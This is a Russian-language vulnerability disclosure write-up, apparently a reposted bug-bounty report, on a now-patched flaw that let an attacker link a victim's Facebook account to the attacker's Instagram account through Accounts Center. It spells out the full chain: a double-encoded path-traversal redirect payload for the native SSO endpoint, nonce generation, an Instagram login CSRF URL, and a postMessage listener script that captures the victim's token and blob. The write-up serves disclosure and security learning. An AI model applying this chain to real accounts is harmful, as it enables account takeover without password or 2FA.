Введение
Facebook и Instagram аккаунты тесно связаны через "Accounts Center", что обеспечивает связь профилей на этих платформах, взаимную аутентификацию и централизованное управление параметрами безопасности.
Данная интеграция возможна благодаря Single Sign-On (SSO), FXAuth токенам и передачи данных между доменами Facebook и Instagram. Однако, если механизмы изоляции не работают должным образом, украденый токен может быть использован на соседней платформе, приводя к полной компрометации аккаунта.
Эта статья детально описывает сценарий атаки, позволяющей злоумышленнику подключить Facebook аккаунт жертвы к собственной учетной записи Instagram и таким образом добиться постоянного контроля над ним.
Подпишись на наш канал в телеграме и в Max, там ты найдешь огромное кол-во качественного контента, без инфошума!
Impact
После успешной эксплуатации злоумышленник получает возможность:
- Привязать Facebook аккаунт жертвы к Instagram аккаунту злоумышленника
- Управлять настройками Facebook аккаунта через "Accounts Center"
- Входить в Facebook, используя вход через Instagram (мобильный клиент)
- Поддерживать долговременный доступ без пароля и двухфакторной аутентификации Facebook
Описание уязвимости
Проблема возникает в результате некорректной обработки запросов native SSO API (https://www.facebook.com/login/native_sso/).
Этот эндпоинт предназначен для взаимной аутентификации и принимает несколько ключевых параметров:
- app_id: уникальный идентификатор приложения
- token: FXAuth токен
- extra_data: путь для последующего перенаправления
Проверка параметра extra_data зависит от от инициирующего приложения.
Исторически сложилось, что для мобильного приложения Instagram (идентификатор app_id = 1217981644879628) Facebook допускал любые пути перенаправления, начинающиеся с /accounts_center/. Такое поведение существовало до появления отдельного домена accountscenter.instagram.com.
Использование двойного URL-кодирования и техники обхода путей позволяет выйти за пределы ожидаемого префикса /accounts_center/ и осуществить перенаправление на любые эндпоинты.
Пример вредоносного URL для успешного обхода ограничений:
https://www.facebook.com/login/native_sso/?
&flow=fbcal
&app_id=1217981644879628
&token=FXAUTH_TOKEN
&custom_content_config=accounts_center
&extra_data=/accounts_center/%252%0DE%252%0DE\%252%0DE%252%0DE\/%252%0DE%252%0DE\%252%0DE%252%0DE\any_endpoint
После подтверждения пользователем происходит редирект на:
https://www.instagram.com/any_endpoint
Таким образом, механизм единого входа (SSO) позволяет перенаправлять запросы на любую конечную точку внутри домена www.instagram.com, и мне удалось найти этот адрес:
https://www.instagram.com/billing_interfaces/external_result/?
&token=TOKEN
&blob=BLOB
Этот эндпоинт пытается взаимодействовать с родительским окном через метод postMessage, задав targetOrigin равным *. Обычно передается лишь ограниченное количество информации, однако при наличии действительного параметра nonce эта конечная точка отправит полный URL вместе с чувствительными значениями, включая:
- Токен (token)
- BLOB-данные (blob)
Такое поведение создаёт условия для утечки токенов. Важно отметить, что значение nonce невозможно угадать — оно должно быть легитимно создано для конкретного пользователя Instagram. Следовательно, нам потребуется сначала создать действующий nonce для Instagram аккаунта злоумышленника, а затем принудительно залогинить этот аккаунт в браузере жертвы.
Обзор атаки
I. Генерация валидного nonce
Используя подконтрольный злоумышленнику Instagram аккаунт:
1. Откройте https://www.instagram.com/ad_tools.
2. Нажмите «Добавить средства» или «Настройки платежей».
3. Перехватите запрос, содержащий access_token, отправляемый на:
- facebook.com/auth/token
- graph.facebook.com
4. С полученным токеном выполните:
https://graph.facebook.com/graphql/?
&locale=en_US
&access_token=ACCESS_TOKEN
&variables={
"input": {
"country": "US",
"establish_type": "INIT",
"logging_data": {
"logging_counter": 41,
"logging_id": "3790958217"
},
"payment_account_id": "PAYMENT_ACCOUNT_ID",
"upl_logging_data": {},
"actor_id": "1",
"client_mutation_id": "16"
}
}
&server_timestamps=true
&doc_id=8354858754606667
&method=post
ID платежного аккаунта (PAYMENT_ACCOUNT_ID) извлекается из:
https://business.facebook.com/billing_hub/payment_settings/?asset_id=PAYMENT_ACCOUNT_ID
В ответе будет корректное значение nonce, например:
hwFlRFhb3krN0rprx16bYLQ2FQ9bpJei
II. Instagram Login CSRF
Атаку можно провести, воспользовавшись механизмом восстановления пароля по электронной почте. После инициации сброса пароля жертва получает письмо с заголовком:
> We’ve made it easy to get back on Instagram
Письмо содержит ссылку вида «Login as [USERNAME]», ведущую на следующий URL:
https://www.instagram.com/_n/web_emaillogin?
&uid=ENCODED_UID
&token=LOGIN_NONCE
&auto_send=0
Переход по этой ссылке автоматически авторизирует пользователя в браузере и установит сессионные куки Instagram без какого-либо дополнительного взаимодействия.
III. Создание FXAuth-токена для подписания
Токен FXAuth, используемый в атаке, создается злоумышленником и отправляется жертве. Полученные BLOB-данные и token, связанные с исходным токеном, используются для завершения процесса привязки к аккаунту атакующего:
Действия злоумышленника:
1. Открыть страницу:
https://accountscenter.instagram.com/profiles
2. Кликнуть «Добавить аккаунт».
3. Произойдет автоматическое перенаправление на:
https://www.facebook.com/login/native_sso/
?&flow=fbcalcomettest
&app_id=1217981644879628
&token=FXAUTH_TOKEN
&extra_data=%2Fadd%2F%3Fbackground_page%3D%252Fprofiles%252F&custom_content_config=accounts_center
4. Извлечь значение параметра token и закрыть окно.
Атака
0. Жертва посещает веб-сайт злоумышленника.
1. Злоумышленник заставляет жертву войти в свою учетную запись Instagram, загружая Instagram login CSRF URL:
https://www.instagram.com/_n/web_emaillogin?
&uid=ENC_UID
&token=LOGIN_NONCE
&auto_send=0
2. После обнаружения факта входа, скрипт злоумышленника открывает новое окно с заранее подготовленным URL для Native SSO:
https://www.facebook.com/login/native_sso/?
&flow=fbcal
&app_id=1217981644879628
&token=FXAUTH_TOKEN
&custom_content_config=accounts_center
&extra_data=/accounts_center/%252%0DE%252%0DE\%252%0DE%252%0DE\/%252%0DE%252%0DE\%252%0DE%252%0DE\billing_interfaces\external_result?nonce=ATTACKER_NONCE
3. Жертва подтверждает использование приложения Instagram.
4. Эндпоинт перенаправляет обратно на адрес:
https://business.facebook.com/billing_interfaces/external_result/
?blob=VICTIM_BLOB
&token=VICTIM_TOKEN
&nonce=ATTACKER_NONCE
5. Эндпоинт отправляет сообщение, содержащее полный URL редиректа, через postMessage в родительское окно.
6. Злоумышленник перехватывает данное сообщение и извлекает BLOB и token, используя подобный обработчик событий:
<html>
<body>
<script>
onmessage = (e) => {
log_data(e.data.direct_debit_redirect_url);
};
</script>
</body>
</html>
7. Используя украденные BLOB и token жертвы, злоумышленник переходит по следующему адресу:
https://accountscenter.instagram.com/add/
?&background_page=%2Fprofiles%2F
&blob=BLOB
&token=TOKEN
&auth_flow=linking
В итоге Facebook аккаунт жертвы оказывается связанным с Instagram аккаунтом злоумышленника, который получает полный контроль через интерфейс "Accounts Center" и может изменять настройки или осуществлять вход через Instagram.
Impact
Обнаруженная уязвимость позволяет захватить аккаунт на другом сервисе путем комбинирования нескольких особенностей:
- Повторное использование токена FXAuth,
- Ослабленное правило валидации перенаправлений в механизме единого входа (Native SSO),
- Утечка токенов через механизм postMessage,
- CSRF-атака на процедуру входа в Instagram через электронную почту.
Итогом является компрометация Facebook аккаунта без знания пароля и 2FA.
Хронология событий
- 16 октября 2024 г. — Сообщение об уязвимости отправлено разработчикам.
- 30 октября 2024 г. — Уязвимость признана командой Facebook.
- 5 ноября 2024 г. — Уязвимость устранена специалистами Facebook.
- 27 ноября 2024 г. — За найденную уязвимость выплачена награда в размере $30 000 компанией Meta.
Подпишись на наш канал в телеграме и в Max, там ты найдешь огромное кол-во качественного контента, без инфошума!